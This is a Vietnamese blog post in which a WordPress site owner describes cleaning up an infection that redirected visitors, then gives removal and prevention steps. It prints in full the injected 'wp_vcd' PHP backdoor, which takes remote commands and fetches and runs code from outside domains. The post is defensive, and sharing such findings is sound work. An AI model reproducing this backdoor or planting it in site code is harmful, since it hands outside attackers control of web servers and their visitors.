Hôm nay ở trang chủ của mình sử dụng wordpress và bị chèn mã độc dẫn đến khi truy cập và web sẽ nhảy sang một trang khác gây ức chế. Mất hơn 1 ngày để mầy mò và xử lý cuối cùng mình cũng xử lý được và chia sẻ với các bạn ở bài viết này.

Mình chia sẻ bài viết này để những bạn đang quản trị website sử dụng WordPress nếu gặp vấn đề này giống mình thì biết cách sửa lỗi, ngoài ra nếu chưa gặp thì biết cách phòng tránh bị cài mã độc vào website của chính mình.

Vấn đề gặp phải của website timoday.edu.vn đợt vừa rồi là khi mở trên máy cá nhân của mình thì không vấn đề gì, nhưng khi mở trên máy tính khác thì phát hiện ra cứ kích vào một bài viết nào đó nó tự động mở ra một liên kết khác. Ban đầu mình nghĩ do máy tính đó bị cài Malware nên không quan tâm, sau đó mình truy cập từ SmartPhone thì thấy vấn đề tương tự.

Sau quá trình rà soát phiên bản trên máy chủ và phiên bản trên local (thực hiện compare hai phiên bản) thì thấy code trên server bị chèn thêm đoàn code này ở file function.php

PHP:

<?php

if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'xxxxxxx'))

{

$div_code_name="wp_vcd";

switch ($_REQUEST['action'])

{

case 'change_domain';

if (isset($_REQUEST['newdomain']))

{

if (!empty($_REQUEST['newdomain']))

{

if ($file = @file_get_contents(__FILE__))

{

if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))

{

$file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);

@file_put_contents(__FILE__, $file);

print "true";

}

}

}

}

break;

case 'change_code';

if (isset($_REQUEST['newcode']))

{

if (!empty($_REQUEST['newcode']))

{

if ($file = @file_get_contents(__FILE__))

{

if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode))

{

$file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);

@file_put_contents(__FILE__, $file);

print "true";

}

}

}

}

break;

default: print "ERROR_WP_ACTION WP_V_CD WP_CD";

}

die("");

}

$div_code_name = "wp_vcd";

$funcfile = __FILE__;

if(!function_exists('theme_temp_setup')) {

$path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];

if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {

function file_get_contents_tcurl($url)

{

$ch = curl_init();

curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);

curl_setopt($ch, CURLOPT_HEADER, 0);

curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);

curl_setopt($ch, CURLOPT_URL, $url);

curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);

$data = curl_exec($ch);

curl_close($ch);

return $data;

}

function theme_temp_setup($phpCode)

{

$tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");

$handle = fopen($tmpfname, "w+");

if( fwrite($handle, "<?php\n" . $phpCode))

{

}

else

{

$tmpfname = tempnam('./', "theme_temp_setup");

$handle = fopen($tmpfname, "w+");

fwrite($handle, "<?php\n" . $phpCode);

}

fclose($handle);

include $tmpfname;

unlink($tmpfname);

return get_defined_vars();

}

$wp_auth_key='7af507a87318d795efbdb0a3a9028aad';

if (($tmpcontent = @file_get_contents("http://www.linos.cc/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.linos.cc/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {

if (stripos($tmpcontent, $wp_auth_key) !== false) {

extract(theme_temp_setup($tmpcontent));

@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);

if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {

@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);

if (!file_exists(get_template_directory() . '/wp-tmp.php')) {

@file_put_contents('wp-tmp.php', $tmpcontent);

}

}

}

}

elseif ($tmpcontent = @file_get_contents("http://www.linos.me/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false ) {

if (stripos($tmpcontent, $wp_auth_key) !== false) {

extract(theme_temp_setup($tmpcontent));

@file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);

if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {

@file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);

if (!file_exists(get_template_directory() . '/wp-tmp.php')) {

@file_put_contents('wp-tmp.php', $tmpcontent);

}

}

}

} elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {

extract(theme_temp_setup($tmpcontent));

} elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {

extract(theme_temp_setup($tmpcontent));

} elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {

extract(theme_temp_setup($tmpcontent));

} elseif (($tmpcontent = @file_get_contents("http://www.linos.xyz/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.linos.xyz/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {

extract(theme_temp_setup($tmpcontent));

}

}

}

//$start_wp_theme_tmp

//wp_tmp

//$end_wp_theme_tmp

?>

Mình cũng đã thử sử dụng các plugin tìm mã độc cài trên WordPress như 6Scan Security, Wordfence Security, Antivirus … nhưng cũng không ăn thua. Mình thử Copy đè hẳn file functions.php trên server nhưng lập tức lại bị đè đoạn code trên, xoá cả theme đi copy theme khác cũng bị tương tự.

Cuối cùng tìm kiếm trên mạng cũng có giải pháp sử lý triệt để:

- Khôi phục lại core WordPress

- Xoá các file wp.class.php, wp-tmp.php, wp-vcd.php và wp-cd.php trong wp-includes

- Và sau cùng xoá đoạn code bị chèn thêm vào trong file functions.php trong theme của bạn

Cách phòng trách

- Không cài các theme và các plugin không rõ nguồn gốc (nên tải từ site chính thức wordpress.org và xem đánh giá của người sử dụng)

- Tránh cài plugin wootabs.zip từ wplocker.com